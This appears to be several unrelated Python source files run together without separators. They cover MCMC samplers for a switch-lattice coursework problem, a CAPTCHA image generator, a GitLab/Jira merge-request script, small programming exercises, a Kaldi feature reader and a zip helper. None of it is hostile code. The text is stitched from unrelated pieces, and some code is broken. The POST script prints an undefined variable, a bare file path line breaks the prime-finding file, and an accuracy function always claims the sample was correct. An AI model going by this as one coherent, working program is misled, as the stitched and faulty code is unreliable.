from q2generator import *
import math
import numpy as np
from collections import Counter
import matplotlib.pyplot as plt
import pdb
import random

def make_deepcopy( Switches, Graph_sz ):
	""" Creates a deep copy of all switch settiings within a graph"""
	return [[Switches[y][x] for x in range(Graph_sz)] for y in range(Graph_sz)]

def mh_w_gibbs(o, G, num_iter, error_prob=0.1):
	s = [] # store samples for the start positions
	X = [] # store switch states
	accepted=0
	proposals=0

	X.append(sample_switch_states(G.lattice_size)) # generate initial switch state
	s.append(sample_start_pos(G)) # set the initial start position as the one at G[0][0]

	# Gibbs for the startposition
	for n in range(num_iter):
		log_likelihoods=[]
		for r in range(G.lattice_size):
			for c in range(G.lattice_size):
				switches_prev_it = X[-1]
				logL = cond_L(o, G, G.get_node(r,c), switches_prev_it ,error_prob) #+math.log(1/n_pos)
				log_likelihoods.append( logL )

		# 'Unlogging'the likelihoods
		likelihoods = np.exp(log_likelihoods - np.max(log_likelihoods))
		# Normalization
		probabilities = likelihoods / np.sum( likelihoods)

		#Categorical sampling of new start position
		s_new = np.argmax(np.random.multinomial(1,probabilities))

		# we extract a node for the index for the sampled start position and add it to our list of smaples
		s.append( extract_start_pos(len(X[0]), s_new, G))

		# Metropolis hastings for the switchsettings

		# First we make a deepcopy of the switchsettinsg smapled from the previous iteration
		last_sampled_switch=X[-1]
		X_previous = make_deepcopy(last_sampled_switch, G.lattice_size )

		#We create a vector to store our new accepted switches
		x_new = [[0, 0, 0], [0, 0, 0], [0, 0, 0]]

		#We make a copy of the last accepted swittchsettings so that we can condition
		#on the rest of the nodes
		X_proposal = make_deepcopy(last_sampled_switch, G.lattice_size )

		for row in range(G.lattice_size):
			for col in range(G.lattice_size):
				s_last_it=s[-1] # we want to condition on s1 from the last iteration

				#For every node we sample a new switchsetting once from uniform distribution.
				x_proposal =np.random.randint(1,4)
				X_proposal[row][col] = x_proposal

				x_previous = X_previous[row][col] # we keep the previous value in case the proposal is rejected

				# Compute the loglikelihoods for the proposal and the previous iteration
				logL_previous = cond_L(o, G, s_last_it, X_previous, error_prob)
				logL_proposal = cond_L(o, G, s_last_it, X_proposal, error_prob)

				u = np.random.rand()

				#We compute the acceptence prob
				acceptance_prob = min( math.exp(logL_proposal - logL_previous) , 1)

				if u < acceptance_prob:
				# If the acceptence probability is larger than an uniform sample we accpt the proposal
					accepted+=1
					proposals+=1
					X_previous = make_deepcopy(X_proposal, G.lattice_size )
					x_new[row][col] = x_proposal

				else:
					X_proposal = make_deepcopy( X_previous , G.lattice_size )
					x_new[row][col] = x_previous
					proposals+=1

		X.append(x_new)

	print('Acceptance rate ',accepted / proposals)
	return s, X

def extract_start_pos(sz,new_s1,G):
	""" Extraxt a new sampled startposition  node from the graph"""
	c=np.mod(new_s1,sz)
	r=(int)(new_s1/sz)
	return G.get_node(r,c)

def gibbs(o, G, num_iter, prob_err=0.1):
	"""A gibbs sampler"""
	acceptancerate=0
	proposals=0

	s = [] # Start position samples
	X = [] # Switch setting samples
	graph_sz=len(G.G)
	X.append(sample_switch_states(G.lattice_size)) # generate initial switch state
	s.append(sample_start_pos(G)) # set the initial start position as the one at G[ 0 , 0 ]

	for n in range(num_iter):
		log_likelihoods=[]
		#For the gibbs sampler we want to go thorugh every possible start position
		#for s1 in the graph.
		for row in range(graph_sz):
			for col in range(graph_sz):
				#We compute the loged likelihood for every startposition
				start_pos=G.get_node(row,col)
				last_switchsetting=X[-1]
				log_likelihoods.append(cond_L(o, G,start_pos,last_switchsetting,prob_err))

		Likelihoods=np.exp(log_likelihoods-np.max(log_likelihoods)) #"unlogging" the logged likelihoods
		probabilities=Likelihoods/np.sum(Likelihoods) #Normalization

		#Sampling from a Categorical
		samples=np.random.multinomial(1,probabilities)
		new_s1 = np.argmax(samples)

		s.append(extract_start_pos(len(X[0]),new_s1,G)) #Extracting the node for the sampled start position
		X_last_sample= make_deepcopy(X[-1], G.lattice_size) #Making a deepcopy of the last sampled X... python is not nice sometimes

		temp=[]

		for row in range(graph_sz):
			for col in range(graph_sz):
				log_likelihoods=[]

				for switch_setting in range(1,4):
				#For every node in the current Graoh we want to go through every
				#possible switch setting, i.e. 1,2 and 3
					X_last_sample[row][col]=switch_setting
					last_start_pos=s[-1]
					namnare_temp= cond_L( o, G,last_start_pos, X_last_sample, prob_err) + math.log(1 / 3) # the prior is given in the assignment as 1/3
					log_likelihoods.append( namnare_temp )

				unlogedL=np.exp(log_likelihoods-np.max(log_likelihoods)) #unlogging
				normL=unlogedL/np.sum(unlogedL) #normalized liklihoods

				#categorical sampling of new switch setting
				samples=np.random.multinomial(1,normL)
				temp.append(np.max(samples))
				x_val_new = np.argmax(samples)
				X_last_sample[row][col] = 1 + x_val_new

		X.append(X_last_sample)
	return s, X

def convert_array_to_matrix(array_list):
	"""Converts an array of size 9 into a 3x3 matrix
	"""
	return [array_list[0:3], array_list[3:6], array_list[6:9]]

def convert_matrix_to_array( matrix ):
	"""converts a matrix into an array
	"""
	return [val for row in matrix for val in row]

def block_gibbs(o, G, num_iter, error_prob=0.1):
	s = [] # store samples for the start positions
	X = [] # store switch states
	X.append(sample_switch_states(G.lattice_size)) # generate initial switch state
	s.append(sample_start_pos(G)) # set the initial start position as the one at G[0][0]

	for n in range(num_iter):
		log_likelihoods=[]

		for row in range( G.lattice_size ):
			for col in range( G.lattice_size ):
				last_switch_setting = X[-1]

				# We go thorugh every possible value the start pos
				s1=G.get_node( row, col )

				logL = cond_L( o, G, s1, last_switch_setting ,error_prob)
				log_likelihoods.append( logL )

		Likleihood = np.exp( log_likelihoods - np.max( log_likelihoods ))
		#normalize the likelihoods
		probs = Likleihood / np.sum(Likleihood)
		# categorical sampling of new startposition
		s_new = np.argmax(np.random.multinomial(1,probs))
		# we extract a node for the index for the sampled start position and add it to our list of smaples
		s.append( extract_start_pos( len(X[0]), s_new, G))

		# A list with the indicies of the 3 blocks as suggested by Seyong during
		#the help session

		block_1 = [0,2,4]
		block_2 = [3,5,7]
		block_3 = [1,6,8]

		block_indicies = [block_1, block_2, block_3]
		#block_indicies = [[0,2,4], [3,5,7], [3,5,7]]

		# We create an array of the switches in the last samplex switch setting(s) X
		last_switches=X[-1]
		X_tmp=make_deepcopy( last_switches, G.lattice_size )
		X_array = convert_matrix_to_array(X_tmp )

		for block in block_indicies:
			log_likelihoods = []
			# So for the three blocks we want to go though all possible swithc setting for each position
			# Also note that we need three nested loops since we want to compute all possible cobintaions of switch settiings
			#for the three blocks
			for sw_b1 in range(1, 4):
				for sw_b2 in range(1,4):
					for sw_b3 in range(1,4):

						ind_b1 = block[0]
						X_array[ind_b1] = sw_b1

						ind_b2 = block[1]
						X_array[ind_b2] = sw_b2

						ind_b3 = block[2]
						X_array[ind_b3] = sw_b3

						# We convert the array into a matrix again so taht we can send it into cond_L()
						X_array =convert_array_to_matrix( X_array )

						prev_start_pos = s[-1]
						logL = cond_L( o, G, prev_start_pos, X_array, error_prob)+math.log(1/3)
						log_likelihoods.append(logL)
						X_array = convert_matrix_to_array(X_array)

			unLogL =np.exp(log_likelihoods-np.max(log_likelihoods)) # unlogging
			probs = unLogL / np.sum(unLogL) #normalization
			# Categorical resmapling
			x_new = np.argmax(np.random.multinomial( 1, probs ))

			# We extract the new indicies for the new sampled x SEBBE??
			X_NEW=extracter(x_new,sw_b2,sw_b3,X_array,block)

		X_new =convert_array_to_matrix( X_NEW )
		X.append(X_new)

	return s, X
def extracter(x,sw_b2,sw_b3,X,b):

	X[b[2]] = np.mod(x, sw_b3 ) + 1
	X[b[1]] = np.mod(np.floor_divide(x , sw_b3), sw_b2) + 1
	X[b[0]] =  np.floor_divide(x, (sw_b2*sw_b3)) + 1
	return X

def cond_L(o,G,start,X,p):
	"""Computes the conditional likelihood
	"""
	logL=0
	O_len=len(o)

	#Initialisation: We start by getting the next node/state from the starting node
	st_new=G.get_next_node(start,0, X)[0]
	curr_node=G.get_node(start.row,start.col)
	prev_dir=G.get_entry_direction(curr_node,st_new)

	for t in range (1,O_len):
		if prev_dir!=0:
			# if the previous direction was not 0, then we know that the next correct
			#observation should be zero
			if o[t]==0:
				#Therefore we add log(1-p) i.e 0.9 if the next observation is 0. Since
				#we did not enter through zero and now have to exit through another switch
				prob=1-p
				logP=math.log(prob)
				logL+=logP
			else:
				#if the observations is not zero it is incorrect. Therefore we add log(p)
				prob=p
				logP=math.log(prob)
				logL+=logP
		else:
			#We know that the previous observation was zero. Therefore we if the switch setting is correct
			#we should exit through the switch setting
			true_switch_setting=X[st_new.row][st_new.col]
			if o[t]==true_switch_setting:
				prob=1-p
				logP=math.log(prob)
				logL+=logP
			else:
				prob=p
				logP=math.log(prob)
				logL+=logP
		start, st_new, prev_dir= next_state(st_new,G,start,X)
	return logL

def next_state(st_n,G,start,X):
	st_hold=st_n
	entry_dir=G.get_entry_direction(start,st_n)
	st_n=G.get_next_node(st_n,entry_dir,X)
	start=st_hold
	st_n=st_n[0]
	node_prev=G.get_node(start.row,start.col)
	node_new=G.get_node(st_n.row,st_n.col)
	prev_dir=G.get_entry_direction(node_prev,node_new)
	return start, st_n, prev_dir

def calc_acc(burn_in,lag,s,s_truth):
	"""Calculates the accuracy of a start position sequence
	"""
	s_b=s[burn_in:-1]
	s_lag=s_b[0::lag]
	s_str=convert_node_to_string(s_lag)

	cnt = Counter(s_str)
	tmp1=cnt.most_common(9)
	occurances_most_common=tmp1[0][0][1]

	s1_truth_str_rep=str(convert_node_to_string([s_truth])[0])

	print('The most common sample was correct! It was: ',s1_truth_str_rep)
	print('Accuracy: ',int(occurances_most_common)/len(s_lag))
	print()

def convert_node_to_string(sequence):
	""" Converts a node to astring representation"""
	str_list=[]
	for s in sequence:
		str_list.append(str(s.row)+' '+str(s.col))
	return str_list

def convergence_histogram_plotter(burn_in,lag,s,s_truth):
	""""Computes histograms for 3 chains for all algorithms for s1 """
	print()
	true_s1_str=str(convert_node_to_string([s_truth])[0])

	s_mhg=s[0]
	sg=s[1]
	sbg=s[2]

	s_mhg=s_mhg[burn_in:-1]
	s_mhg=s_mhg[0::lag]

	sg=sg[burn_in:-1]
	sg=sg[0::lag]

	sbg=sbg[burn_in:-1]
	sbg=sbg[0::lag]
	#
	sbg_str_rep=convert_node_to_string(sbg)
	sg_str_rep=convert_node_to_string(sg)
	s_mhg_str_rep=convert_node_to_string(s_mhg)

	height0 = [sbg_str_rep.count('0 0'), sbg_str_rep.count('0 1'), sbg_str_rep.count('0 2'), sbg_str_rep.count('1 0'),sbg_str_rep.count('1 1'),sbg_str_rep.count('1 2'), sbg_str_rep.count('2 0'), sbg_str_rep.count('2 1'), sbg_str_rep.count('2 2')]
	bars0 = ['(0,0)','(0,1)', '(0,2)', '(1,0)', '(1,1)', '(1,2)','(2,0)','(2,1)','(2,2)']
	y0_pos = np.arange(len(bars0))
	plt.bar(y0_pos, height0, color = 'r')
	title_str='Start Positions - Blocked Gibbs - last half of samples - True s1='+str(true_s1_str)
	plt.title(title_str)
	plt.xlabel('Start positions')
	plt.ylabel('Occurances')
	plt.xticks(y0_pos, bars0)
	plt.show()

	height0 = [sg_str_rep.count('0 0'), sg_str_rep.count('0 1'), sg_str_rep.count('0 2'), sg_str_rep.count('1 0'),sg_str_rep.count('1 1'),sg_str_rep.count('1 2'), sg_str_rep.count('2 0'), sg_str_rep.count('2 1'), sg_str_rep.count('2 2')]
	bars0 = ['(0,0)','(0,1)', '(0,2)', '(1,0)', '(1,1)', '(1,2)','(2,0)','(2,1)','(2,2)']
	y0_pos = np.arange(len(bars0))
	plt.bar(y0_pos, height0, color = 'r')
	title_str='Start Positions - Gibbs - last half of samples - True s1='+str(true_s1_str)
	plt.title(title_str)
	plt.xlabel('Start positions')
	plt.ylabel('Occurances')
	plt.xticks(y0_pos, bars0)
	plt.show()

	height0 = [s_mhg_str_rep.count('0 0'), s_mhg_str_rep.count('0 1'), s_mhg_str_rep.count('0 2'), s_mhg_str_rep.count('1 0'),s_mhg_str_rep.count('1 1'),s_mhg_str_rep.count('1 2'), s_mhg_str_rep.count('2 0'), s_mhg_str_rep.count('2 1'), s_mhg_str_rep.count('2 2')]
	bars0 = ['(0,0)','(0,1)', '(0,2)', '(1,0)', '(1,1)', '(1,2)','(2,0)','(2,1)','(2,2)']
	y0_pos = np.arange(len(bars0))
	plt.bar(y0_pos, height0, color = 'r')
	title_str='Start Positions - MH within Gibbs - last half of samples - True s1='+str(true_s1_str)
	plt.title(title_str)
	plt.xlabel('Start positions')
	plt.ylabel('Occurances')
	plt.xticks(y0_pos, bars0)
	plt.show()

def main():

	data_seed = 9 #A seed to generate data
	n_lattice = 3
	T = 100
	p = 0.1
	G, X_truth, s_truth, o = generate_data(data_seed, n_lattice, T, p)
	num_iter = 1000

	seeds_chains=[225]#,11,2222] # Different seeds used to run different chains
	for seed in seeds_chains:
		np.random.seed(seed)

		#Running the samplers
		sbg, X=block_gibbs(o, G, num_iter)
		smhg, X = mh_w_gibbs(o, G, num_iter, p)
		sg, X = gibbs(o, G, num_iter, p)

		s_list=[smhg,sg,sbg]
		s_list_check_convergence=[smhg[0:200],sg[0:200],sbg[0:200]]
		s_list_check_convergence_second_half=[smhg[500:-1],sg[500:-1],sbg[500:-1]]

		burn_in=100
		lag=5

		# Computing accuracy for the algorithms
		# for s_s in s_list:
		#      calc_acc(burn_in,lag,s_s,s_truth[0])

		# Creating histograms for the startpositions
		#convergence_histogram_plotter(burn_in,lag,s_list,s_truth[0])

		#convergence_histogram_plotter(burn_in,lag,s_list_check_convergence,s_truth[0])
		convergence_histogram_plotter(0,lag,s_list_check_convergence_second_half,s_truth[0])

if __name__ == '__main__':
	main()


# coding: utf-8
import os
import random
import typing as t
from PIL.Image import new as createImage, Image, QUAD, BILINEAR
from PIL.ImageDraw import Draw, ImageDraw
from PIL.ImageFilter import SMOOTH
from PIL.ImageFont import FreeTypeFont, truetype
from io import BytesIO
import time

ColorTuple = t.Union[t.Tuple[int, int, int], t.Tuple[int, int, int, int]]

DATA_DIR = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'data')
DEFAULT_FONTS = [os.path.join(DATA_DIR, 'DroidSansMono.ttf')]

class Captcha:
    lookup_table: t.List[int] = [int(i * 1.97) for i in range(256)]

    def __init__(self, width: int = 160, height: int = 60, key: int = None, length: int = 4,
                 fonts: t.Optional[t.List[str]] = None, font_sizes: t.Optional[t.Tuple[int]] = None):
        self._width = width
        self._height = height
        self._length = length
        self._key = (key or int(time.time())) + random.randint(1,100)
        self._fonts = fonts or DEFAULT_FONTS
        self._font_sizes = font_sizes or (42, 50, 56)
        self._truefonts: t.List[FreeTypeFont] = []
        random.seed(self._key)

    @property
    def truefonts(self) -> t.List[FreeTypeFont]:
        if self._truefonts:
            return self._truefonts
        self._truefonts = [
            truetype(n, s)
            for n in self._fonts
            for s in self._font_sizes
        ]
        return self._truefonts

    @staticmethod
    def create_noise_curve(image: Image, color: ColorTuple) -> Image:
        w, h = image.size
        x1 = random.randint(0, int(w / 5))
        x2 = random.randint(w - int(w / 5), w)
        y1 = random.randint(int(h / 5), h - int(h / 5))
        y2 = random.randint(y1, h - int(h / 5))
        points = [x1, y1, x2, y2]
        end = random.randint(160, 200)
        start = random.randint(0, 20)
        Draw(image).arc(points, start, end, fill=color)
        return image

    @staticmethod
    def create_noise_dots(image: Image, color: ColorTuple, width: int = 3, number: int = 30) -> Image:
        draw = Draw(image)
        w, h = image.size
        while number:
            x1 = random.randint(0, w)
            y1 = random.randint(0, h)
            draw.line(((x1, y1), (x1 - 1, y1 - 1)), fill=color, width=width)
            number -= 1
        return image

    def _draw_character(self, c: str, draw: ImageDraw, color: ColorTuple) -> Image:
        font = random.choice(self.truefonts)

        left, top, right, bottom = draw.textbbox((0, 0), c, font=font)
        w = int((right - left)*1.7) or 1
        h = int((bottom - top)*1.7) or 1

        dx1 = random.randint(0, 4)
        dy1 = random.randint(0, 6)
        im = createImage('RGBA', (w + dx1, h + dy1))
        Draw(im).text((dx1, dy1), c, font=font, fill=color)

        # rotate
        im = im.crop(im.getbbox())
        im = im.rotate(random.uniform(-30, 30), BILINEAR, expand=True)

        # warp
        dx2 = w * random.uniform(0.1, 0.3)
        dy2 = h * random.uniform(0.2, 0.3)
        x1 = int(random.uniform(-dx2, dx2))
        y1 = int(random.uniform(-dy2, dy2))
        x2 = int(random.uniform(-dx2, dx2))
        y2 = int(random.uniform(-dy2, dy2))
        w2 = w + abs(x1) + abs(x2)
        h2 = h + abs(y1) + abs(y2)
        data = (
            x1, y1,
            -x1, h2 - y2,
            w2 + x2, h2 + y2,
            w2 - x2, -y1,
        )
        im = im.resize((w2, h2))
        im = im.transform((w, h), QUAD, data)
        return im

    def create_captcha_image(self, chars: str, color: ColorTuple, background: ColorTuple) -> Image:
        image = createImage('RGB', (self._width, self._height), background)
        draw = Draw(image)

        images: t.List[Image] = []
        for c in chars:
            if random.random() > 0.5:
                images.append(self._draw_character(" ", draw, color))
            images.append(self._draw_character(c, draw, color))

        text_width = sum([im.size[0] for im in images])

        width = max(text_width, self._width)
        image = image.resize((width, self._height))

        average = int(text_width / len(chars))
        rand = int(0.25 * average)
        offset = int(average * 0.1)

        for im in images:
            w, h = im.size
            mask = im.convert('L').point(self.lookup_table)
            image.paste(im, (offset, int((self._height - h) / 2)), mask)
            offset = offset + w + random.randint(-rand, 0)

        if width > self._width:
            image = image.resize((self._width, self._height))

        return image

    def generate_image(self, chars: str) -> Image:
        background = random_color(238, 255)
        color = random_color(10, 200, random.randint(220, 255))
        im = self.create_captcha_image(chars, color, background)
        self.create_noise_dots(im, color)
        self.create_noise_curve(im, color)
        im = im.filter(SMOOTH)
        return im

    def generate(self, format: str = 'png') -> (BytesIO,str):
        code = generate_code(self._length)
        im = self.generate_image(code)
        out = BytesIO()
        im.save(out, format=format)
        out.seek(0)
        return out, code

    def write(self, output: str, format: str = 'png') -> (Image, str):
        code = generate_code(self._length)
        im = self.generate_image(code)
        im.save(output, format=format)
        return im, code

def random_color(start: int, end: int, opacity: t.Optional[int] = None) -> ColorTuple:
    red = random.randint(start, end)
    green = random.randint(start, end)
    blue = random.randint(start, end)
    if opacity is None:
        return (red, green, blue)
    return (red, green, blue, opacity)

def generate_code(length: int = 4):
    characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    return ''.join(random.choice(characters) for _ in range(length))


#!/usr/bin/env python3

import json
import sys
import http.client as http
import subprocess
import re
import os

###
# COLOR CONSTANTS
###
RED='\033[0;31m'
GREEN='\033[0;32m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

###
# CONFIGURABLE
###
JIRA_HOST = 'jira.atlassian.com'
JIRA_API_VERSION = '2'
GITLAB_HOST = 'gitlab.com'
GITLAB_API_VERSION = 'v4'
TARGET_BRANCH = 'develop' #TODO replace with repo default branch
TASK_NAME_REGEX='TCRM-[0-9]*'
SQUASH = True
REMOVE_SOURCE_BRANCH = True

if 'JIRA_TOKEN' not in os.environ:
    print(f'{RED}There is no "JIRA_TOKEN" in ENV variables! Exiting...{NC}')
    exit(1)
JIRA_TOKEN = os.environ['JIRA_TOKEN']

if 'GITLAB_TOKEN' not in os.environ:
    print(f'{RED}There is no "GITLAB_TOKEN" in ENV variables! Exiting...{NC}')
    exit(1)
GITLAB_TOKEN = os.environ['GITLAB_TOKEN']

def get_current_branch():
    return subprocess.run(['git', 'branch', '--show-current'], capture_output=True, text=True).stdout.strip('\n')

def send_https_request(method, host, path, headers, body = '', expected_status=200):
    connection = http.HTTPSConnection(host)
    try:
        connection.request(method, path, body, headers = headers)
        response = connection.getresponse()
        if(response.status != expected_status):
            raise Exception(
                f'{RED}Request failed{NC}\n' \
                f'request: {method} https://{host}{path}\n{body}\n\n' \
                f'response status: {str(response.status)}\n' \
                f'response body: {response.read().decode("utf-8")}'
            )
        return json.load(response)

    finally:
        connection.close()

def get_project_id():
    remote_url = subprocess.run(['git', 'remote', 'get-url', 'origin'], capture_output=True, text=True).stdout.strip('\n')
    project_name = re.search('/([a-zA-Z0-9\-]*)\.git', remote_url).group(1)
    min_access_level = '30' # Developer
    max_per_page = '100' # Gitlab API max. FIXME: because of max size per page there is some chance of not finding the project in large repos
    response = send_https_request(
        'GET',
        GITLAB_HOST,
        f'/api/{GITLAB_API_VERSION}/projects?' \
            'archived=false' \
            f'&min_access_level={min_access_level}' \
            '&simple=true' \
            '&with_merge_requests_enabled=true' \
            '&pagination=keyset' \
            f'&per_page={max_per_page}' \
            '&sort=desc' \
            '&order_by=id' \
            f'&search={project_name}',
        headers = {'PRIVATE-TOKEN': GITLAB_TOKEN},
    )

    for project in response:
        if remote_url in [ project['ssh_url_to_repo'], project['http_url_to_repo'] ]:
            return project['id']

    raise Exception(f'{RED}Cannot find project whith url:{NC} {remote_url}')

def get_user_id():
    return send_https_request(
        'GET',
        GITLAB_HOST,
        f'/api/{GITLAB_API_VERSION}/user',
        headers = {'PRIVATE-TOKEN': GITLAB_TOKEN}
    )['id']

def get_already_exist_mr_link(project_id, current_branch, target_branch):
    response = send_https_request(
        'GET',
        GITLAB_HOST,
        f'/api/{GITLAB_API_VERSION}/projects/{project_id}/merge_requests?' \
            'state=opened'\
            f'&source_branch={current_branch}' \
            f'&target_branch={target_branch}',
        headers = {'PRIVATE-TOKEN': GITLAB_TOKEN, 'Content-Type': 'application/json'}
    )
    if len(response) > 0:
        return response[0]['web_url']
    else:
        return None

def create_mr_request_body(title, current_branch, target_branch, user_id, squash=True, remove_source_branch=True):
    return json.dumps({
        'title': title,
        'source_branch': current_branch,
        'target_branch': target_branch,
        'assignee_id': user_id,
        'squash': squash,
        'remove_source_branch': remove_source_branch
    })

def create_mr(project_id, title, current_branch, target_branch, user_id, squash=True, remove_source_branch=True):
    return send_https_request(
        'POST',
        GITLAB_HOST,
        f'/api/{GITLAB_API_VERSION}/projects/{project_id}/merge_requests',
        body = create_mr_request_body(title, current_branch, target_branch, user_id, squash, remove_source_branch),
        headers = {'PRIVATE-TOKEN': GITLAB_TOKEN, 'Content-Type': 'application/json'},
        expected_status = 201
    )['web_url']

def get_task_title(task):
    return send_https_request(
        'GET',
        JIRA_HOST,
        f'/rest/api/{JIRA_API_VERSION}/issue/{task}',
        headers = {'Authorization': f'Bearer {JIRA_TOKEN}'}
    )['fields']['summary']

def get_service_name_from(mr_link):
    return re.search('\/([a-zA-Z\-]*)\/-\/merge_requests', mr_link).group(1)

def is_issue_link_already_exist(task, mr_link):
    response = send_https_request(
        'GET',
        JIRA_HOST,
        f'/rest/api/{JIRA_API_VERSION}/issue/{task}/remotelink',
        headers = {'Authorization': f'Bearer {JIRA_TOKEN}'}
    )

    for issue in response:
        if issue['object']['url'] == mr_link:
            return True
    return False

def create_jira_issue_link_request_body(mr_link):
    return json.dumps({
        'object': {
            'url': mr_link,
            'title': get_service_name_from(mr_link),
            'icon': {
                'url16x16': f'https://{GITLAB_HOST}/favicon.ico'
            },
        }
    })

def add_jira_issue_link(task, mr_link):
    return send_https_request(
        'POST',
        JIRA_HOST,
        f'/rest/api/{JIRA_API_VERSION}/issue/{task}/remotelink',
        body = create_jira_issue_link_request_body(mr_link),
        headers = {'Authorization': f'Bearer {JIRA_TOKEN}', 'Content-Type': 'application/json'},
        expected_status = 201
    )

def main():
    print('>>> Geting current branch name...')
    current_branch = get_current_branch()
    print(current_branch)

    if current_branch == TARGET_BRANCH:
        print(f'{RED}Cannot open MR:{NC} current branch is target ({TARGET_BRANCH})')
        exit(1)

    print('>>> Extracting task name from branch name...')
    match = re.match(TASK_NAME_REGEX, current_branch) # Validate branch name format
    if not match:
        print(f"{RED}Cannot open MR:{NC} current branch name ({TARGET_BRANCH}) doesn't start with 'TCRM-[0-9]*'")
        exit(1)
    task = match.group()
    print(task)

    print('>>> Getting GitLab project id...')
    project_id = get_project_id()
    print(project_id)

    print('>>> Check if MR is already oppened...')
    mr_link = get_already_exist_mr_link(project_id, current_branch, TARGET_BRANCH)

    if mr_link is not None:
        print(f'MR already opened:\n{BLUE}{mr_link}{NC}')
    else:
        print('No open MR was found. A new one will be created')

        print('>>> Getting task title...')
        title = task + get_task_title(task)
        print(title)

        print('>>> Creating MR...')
        mr_link = create_mr(
            project_id,
            title,
            current_branch,
            TARGET_BRANCH,
            get_user_id(),
            SQUASH,
            REMOVE_SOURCE_BRANCH
        )
        print(f'{GREEN}MR opened:{NC} {current_branch}')
        print(f'{BLUE}{mr_link}{NC}')

    print('>>> Check if MR link in task is already exist...')
    if is_issue_link_already_exist(task, mr_link):
        print('MR link already added to task')
    else:
        print('MR link not found')
        print('>>> Adding MR link to task...')
        add_jira_issue_link(task, mr_link)
        print(f'{GREEN}MR link added to task{NC}')

    print(f'{BLUE}https://{JIRA_HOST}/browse/{task}{NC}')

if __name__ == "__main__":
    main()


def day_cal(list_in):
    month_day = {1: 31, 2: 28, 3: 31, 4: 30, 5: 31, 6: 30,
                 7: 31, 8: 31, 9: 30, 10: 31, 11: 30, 12: 31}
    start_month = list_in[0]
    finish_month = list_in[2]
    start_day = list_in[1]
    finish_day = list_in[3]
    result = 0
    if start_month == finish_month:
        return finish_day - start_day + 1
    for i in range(start_month, finish_month):
        if i == start_month:
            result += month_day[i] - start_day + 1
        else:
            result += month_day[i]
    result += finish_day
    return result

T = int(input())

for test_case in range(1, T + 1):
    day_list = list(map(int, input().split()))
    print(f'#{test_case} {day_cal(day_list)}')


'''@file feature_reader.py
reading features and applying cmvn and splicing them'''

import copy
from nabu.processing import ark
from nabu.processing import readfiles
import numpy as np

class FeatureReader(object):
    '''Class that can read features from a Kaldi archive and process
    them (cmvn and splicing)'''

    def __init__(self, scpfile, cmvnfile, utt2spkfile, max_length):
        '''
        create a FeatureReader object. When the cmvnfile is None, we don't
        want to do any normalization

        Args:
            scpfile: path to the features .scp file
            cmvnfile: path to the cmvn file
            utt2spkfile:path to the file containing the mapping from utterance
                ID to speaker ID
            max_length: the maximum length of all the utterances in the
                scp file
        '''

        #create the feature reader
        self.reader = ark.ArkReader(scpfile)

        #store the max length
        self.max_length = max_length

        # some of the information is only needed when the cvmn file is not None
        if cmvnfile is not None:
            #create a reader for the cmvn statistics
            self.reader_cmvn = ark.ArkReader(cmvnfile)
            #save the utterance to speaker mapping
            self.utt2spk = readfiles.read_utt2spk(utt2spkfile)
        else:
            self.reader_cmvn = None
            self.utt2spk = None

    def get_utt(self):
        '''
        read the next features from the archive, normalize and splice them

        Returns:
            the normalized and spliced features
        '''

        #read utterance
        (utt_id, utt_mat, looped) = self.reader.read_next_utt()

        #apply cmvn if this is wanted
        if self.reader_cmvn is not None:
            cmvn_stats = self.reader_cmvn.read_utt_data(self.utt2spk[utt_id])
            utt_mat = apply_cmvn(utt_mat, cmvn_stats)

        return utt_id, utt_mat, looped

    def get_utt_with_id(self, utt_id):
        '''
        read the features from archive (normalize and splice if cmvn present)
        for the utterance that is specfied with a certain id

        Args:
            the id of the utterance
        Returns:
            the features of that certain utterance
        '''
        #read the utterance
        utt_mat = self.reader.read_utt_data(utt_id)

        #apply cmvn is this is wanted
        if self.reader_cmvn is not None:
            cmvn_stats = self.reader_cmvn.read_utt_data(self.utt2spk[utt_id])
            utt_mat = apply_cmvn(utt_mat, cmvn_stats)

        return utt_mat

    def split(self, num_utt):
        '''take a number of utterances from the feature reader to make a new one

        Args:
            num_utt: the number of utterances in the new feature reader

        Returns:
            a feature reader with the requested number of utterances'''
        #create a copy of self
        reader = copy.deepcopy(self)

        #split of a part of the ark reader
        reader.reader = self.reader.split(num_utt)

        return reader

    @property
    def num_utt(self):
        '''number of utterances in the reader'''
        return self.reader.num_utt

    @property
    def pos(self):
        '''the position in the reader'''
        return self.reader.scp_position

    @pos.setter
    def pos(self, pos):
        '''the position setter'''
        self.reader.scp_position = pos

def apply_cmvn(utt, stats):
    '''
    apply mean and variance normalisation

    The mean and variance statistics are computed on previously seen data

    Args:
        utt: the utterance feature numpy matrix
        stats: a numpy array containing the mean and variance statistics. The
            first row contains the sum of all the fautures and as a last element
            the total number of features. The second row contains the squared
            sum of the features and a zero at the end

    Returns:
        a numpy array containing the mean and variance normalized features
    '''

    #compute mean
    mean = stats[0, :-1]/stats[0, -1]

    #compute variance
    variance = stats[1, :-1]/stats[0, -1] - np.square(mean)

    #return mean and variance normalised utterance
    return np.divide(np.subtract(utt, mean), np.sqrt(variance))


#!/usr/bin/python3
"""
script that takes in a URL and an email, sends a POST request
"""
import urllib.parse
import urllib.request
import sys

if __name__ == "__main__":

    url = sys.argv[1]
    email = {'email': sys.argv[2]}
    data = urllib.parse.urlencode(email)
    data = data.encode('utf-8')
    req = urllib.request.Request(url, data)
    with urllib.request.urlopen(req) as response:
        the_page = response.read()
        print(resp.decode('utf-8'))


from itertools import permutations

def isPrime(n):
    if n < 2:
        return False
    for i in range(2, int(n ** 0.5) + 1):
        if n % i == 0:
            return False
    return True

def solution(numbers):
    result = []

    # numbers에서 나올 수 있는 숫자 리스트 도출
    arr = []
    numbers = [n for n in numbers]
    for i in range(1, len(numbers)+1):
        arr += list(permutations(numbers, i))
    arr = [int(("").join(i)) for i in arr]

    # arr에서 소수인 것만 리스트에 추가 후 중복 제거
    result = len(set([i for i in arr if isPrime(i)]))

    return result

프로그래머스/lv2/42839. 소수 찾기/소수 찾기.py


"""
http://stackoverflow.com/questions/3612094/better-way-to-zip-files-in-python-zip-a-whole-directory-with-a-single-command?lq=1
http://stackoverflow.com/questions/10060069/safely-extract-zip-or-tar-using-python
"""

import os
import string
import zipfile

from .log import warning

def zipdir(target_dir, dest_file, compression=zipfile.ZIP_DEFLATED):
    z = zipfile.ZipFile(dest_file, "w", compression=compression)
    rootlen = len(target_dir) + 1
    for base, _, filenames in os.walk(target_dir):
        for n in filenames:
            p = os.path.join(base, n)
            z.write(p, p[rootlen:])

